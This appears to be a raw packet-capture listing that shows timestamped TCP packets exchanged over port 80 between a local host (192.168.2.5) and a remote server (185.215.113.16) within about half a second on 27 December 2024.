Dec 27, 2024 08:45:39.282015085 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.282031059 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.282052040 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.282052994 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.282068014 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.282083035 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.282084942 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.282099962 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.282115936 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.282126904 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.282131910 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.282149076 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.282160044 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.282259941 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.282356977 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.282372952 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.282399893 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.282401085 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.328192949 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.429579020 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.429709911 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.429763079 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.430022001 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.430186987 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.430253983 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.430833101 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.430994034 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.431041956 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.432121038 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.432296038 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.432451963 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.432785034 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.432950974 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.433063030 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.433594942 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.433789968 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.433835983 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.434484959 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.434505939 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.434546947 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.435297012 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.435468912 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.435516119 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.436126947 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.436316013 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.436368942 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.436961889 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.437134981 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.437942028 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.437988997 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.438090086 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.438291073 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.438442945 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.438462973 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.438508034 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.439565897 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.439584970 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.439619064 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.439635992 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.439639091 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.439654112 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.439671040 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.439682007 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.439722061 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.440392971 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.440504074 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.440551996 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.441245079 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.441366911 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.441469908 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.442107916 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.442224026 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.442922115 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.442981005 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.443011999 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.443103075 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.443866968 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.443955898 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.444047928 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.444721937 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.444849014 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.444895983 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.445571899 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.445760965 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.445841074 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.446459055 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.446578979 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.446633101 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.447299004 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.447407961 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.447465897 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.448158979 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.448276043 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.448321104 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.449074984 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.449202061 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.449244976 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.449920893 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.450022936 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.450068951 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.450747967 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.450850010 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.450910091 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.451617956 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.451735020 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.451777935 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.452476978 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.452585936 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.452630043 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.453370094 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.453474045 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.454261065 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.454308987 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.454360962 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.454576969 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.455172062 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.455236912 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.455286026 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.456005096 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.456063986 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.456187963 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.456813097 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.456940889 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.456985950 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.457757950 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.457880020 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.457925081 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.458545923 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.458642960 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.458705902 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.459624052 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.459644079 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.459685087 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.460273981 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.460424900 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.460465908 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.461112976 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.461225033 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.461286068 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.461982012 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.462079048 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.462126970 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.462838888 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.462959051 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.463063002 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.463720083 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.463825941 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.463896990 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.464631081 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.464692116 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.464817047 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.465435982 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.465564966 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.465610981 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.466296911 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.466401100 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.466475964 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.467237949 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.467509031 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.467554092 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.468036890 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.468153954 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.468223095 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.468894958 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.469033003 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.469147921 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.469758987 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.469965935 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.469978094 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.470017910 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.470711946 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.470844030 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.470887899 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.471478939 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.471604109 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.471646070 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.472343922 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.472450972 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.472496033 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.473165035 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.499084949 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.620949030 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.621031046 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.621119022 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.621295929 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.621337891 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.621392965 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.622153997 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.622303963 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.622356892 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.623008013 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.623140097 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.623863935 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.623914957 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.623985052 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.624325991 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.624742985 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.625000954 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.625046015 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.625597954 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.625698090 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.625893116 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.626440048 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.626580000 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.626632929 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.627330065 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.627460957 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.627515078 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.628174067 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.628304958 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.628355026 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.629072905 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.629157066 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.629208088 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.629904985 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.630074978 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.630127907 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.630764961 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.630875111 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.630923986 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.631669044 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.631768942 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.631820917 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.632533073 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.632644892 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.632695913 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.633363962 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.633462906 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.633511066 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.634242058 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.634354115 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.634452105 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.635087967 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.635207891 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.635310888 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.636012077 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.636142015 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.636218071 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.636823893 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.636919022 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.637043953 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.637913942 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.638005972 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.638557911 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.638605118 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.638681889 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.639460087 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.639507055 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.639550924 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.640264034 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.640388012 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.640988111 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.641172886 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.641261101 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.642030954 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.642167091 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.642221928 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.642867088 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.642976046 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.643034935 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.643727064 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.643832922 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.643933058 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.644586086 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.644716024 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.644761086 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.645476103 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.645566940 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.646328926 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.646384001 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.646464109 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.646615982 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.647169113 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.647308111 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.648050070 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.648097038 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.648134947 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.648366928 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.648883104 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.649108887 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.649528980 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.649844885 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.649966002 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.650084972 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.650625944 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.650755882 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.650808096 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.651523113 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.651632071 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.651684046 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.652370930 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.652472973 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.652650118 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.653228998 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.653357029 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.653436899 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.654088020 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.654201984 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.654249907 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.654980898 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.655071020 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.655128002 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.655846119 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.655929089 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.655980110 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.656728983 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.656857967 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.657066107 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.657543898 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.657655001 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.657721996 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.658412933 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.658477068 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.658530951 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.659266949 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.659384012 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.659437895 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.660151005 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.660330057 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.660381079 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.661029100 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.661070108 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.661227942 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.661860943 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.661974907 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.662020922 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.662715912 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.662842989 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.663587093 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.663706064 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.663752079 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.664453983 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.664576054 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.665313959 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.665355921 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.665451050 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.666155100 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.666201115 CET	49772	80	192.168.2.5	185.215.113.16
Dec 27, 2024 08:45:39.813083887 CET	80	49772	185.215.113.16	192.168.2.5
Dec 27, 2024 08:45:39.813158989 CET	80	49772	185.215.113.16	192.168.2.5
